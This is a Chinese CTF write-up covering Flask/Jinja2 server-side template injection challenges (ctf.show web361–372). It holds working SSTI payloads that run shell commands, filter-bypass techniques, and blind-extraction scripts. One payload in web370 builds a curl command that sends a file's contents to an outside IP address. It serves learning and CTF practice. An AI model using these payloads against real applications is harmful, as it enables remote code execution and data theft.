前言
开始SSTI,参考文章:
jinja官方文档
flask之ssti模版注入从零到入门
SSTI模板注入绕过(进阶篇)
记录一下自己学习的东西:
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用的过滤器,从别的师傅的博客里摘录的:
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
其中request具体参考:
Flask request 属性详解
比如查看一下os._wrap_close类所处空间下可使用的module,方法和变量,利用.keys()爆出这个dict的所有键名:
print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.keys())
剩下的学习到了新姿势再进行补充。
web361
注入点是?name。
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
利用的是os._wrap_close类
web362
可以用以下已有的函数,去得到__builtins__,然后用eval就可以了:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
这里从羽师傅那里学习到了一种新的姿势:
?name={{x.__init__.__globals__['__builtins__']}}
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__
然后用eval就可以了。
还学习了一下用{% %}
来SSTI:
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
web363
过滤了单双引号,可以用request来绕过:
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}
也可以先把chr给找出来,然后用chr拼接就不需要引号了:
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
也可以利用过滤器,类似这样的(()|select|string)[24]
来拼接,比较懒就不演示了。。
web364
(加在前面,当时这里有一个误区,以为values的值仅仅是post,其实也包含get,所以valuess也可以。)
过滤了args,本来考虑用request.values,但是发现post方法不被allow,所以改成cookie:
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag
web365
过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__
等绕过都可以。
使用request绕过的话可以这样:
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
这里也尝试用一下字符串拼接,写个python脚本跑出来:
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
web366
在之前的基础上又ban了下划线_
,这样__globals__
这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)
是会500的,中括号被ban了,__getattribute__
也用不了的话,就用falsk自带的过滤器attr:
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
此外,除了request
web367
还ban了os,那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。
?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
web368
ban了{{,就要想办法拿{% %}来绕过。把上一题的改一下就能直接用了:
?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
当然了,一般的话把{{给ban了,用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()
是回显整个文件,但是read函数里加上参数:open('/flag').read(1)
,返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了,写个python脚本:
import requests
url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
注意我name那里用了{{和}}
,这是因为我用的format格式化字符串,用{}
来占位,如果里面本来就有{
和}
的话,就需要用{{
和}}
来代替{
和}
。
web369
终于把request给ban了,就想办法自己凑字符了,这里拿config来凑。但是一个问题是_
被ban了,所以__str__()
用不了,这里拿string过滤器来得到config的字符串:config|string
,但是获得字符串后本来应该用中括号或者__getitem__()
,但是问题是_
被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
最终payload如下:
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
看了一下羽师傅的姿势:
http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
也是从羽师傅这里学到了新的得到字符的方式,其实相当于只需要得到被ban的字符就可以了,例如_
这样的,然后有这种方式:
{% set a=dict(o=oo,s=ss)|join %}
这样得到的a就是把这个字典的键名拼接后的值,即os,这样的拼接不需要用到单双引号,非常方便。至于要做的,就是想办法把类似_
这样的字符通过一系列操作找出来就可以了,学到了学到了。
参考着羽师傅的也写了这种:
http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
相当于lipsum.__globals__['__builtins__'].open('/flag').read()
,在__builtins__
里面拿到chr,同样可以很方便的构造字符。
web370
又ban了数字,想了一下可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到,但是可能稍微麻烦了一下。这里我想办法拿到下划线和斜杠,然后组合:
http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
当时脑子里还有一种想法,就是拿random过滤器,反正脚本跑起来,总能碰到所有字符都符合的情况(笑)。
看了一下羽师傅的姿势,获得数字还有更简单的方式,用length,官方文档这样写:
因此这样构造:
{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}
这样真的就是所有的数字都可以很轻松的得到了,比我那种用index得数字得方法要简单得多了。
再写一个curl反弹的payload,写完了才感觉我就该拿python把字符给跑出来的,拼的太累了:
?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,c,cccccccc,point,ccc,c,point,c,cccccc,cccccccc,point,c,ccccccccc,cccccccc,maohao,ccc,ccccccccc,c,c,c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}
web371
把print给过滤了,用上题反弹shell的payload,我感觉我写的那个挺麻烦的,建议自己参照着那个思路写个简单的,想办法拿python把curl的命令的字符都给跑出来。
web372
上题的payload还是能跑出来,不知道加ban了啥,看了一下羽师傅的wp,说是ban了count,那还好,我之前用的都是length。
羽师傅还说数字的过滤可以拿全角数字来代替半角数字,实现绕过。正常的数字都是半角数字,但是用全角数字的话这里同样可以。
可以拿python脚本跑出来:
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
也可以直接网上查,或者输入法里改成全角,就可以打出全角字符了。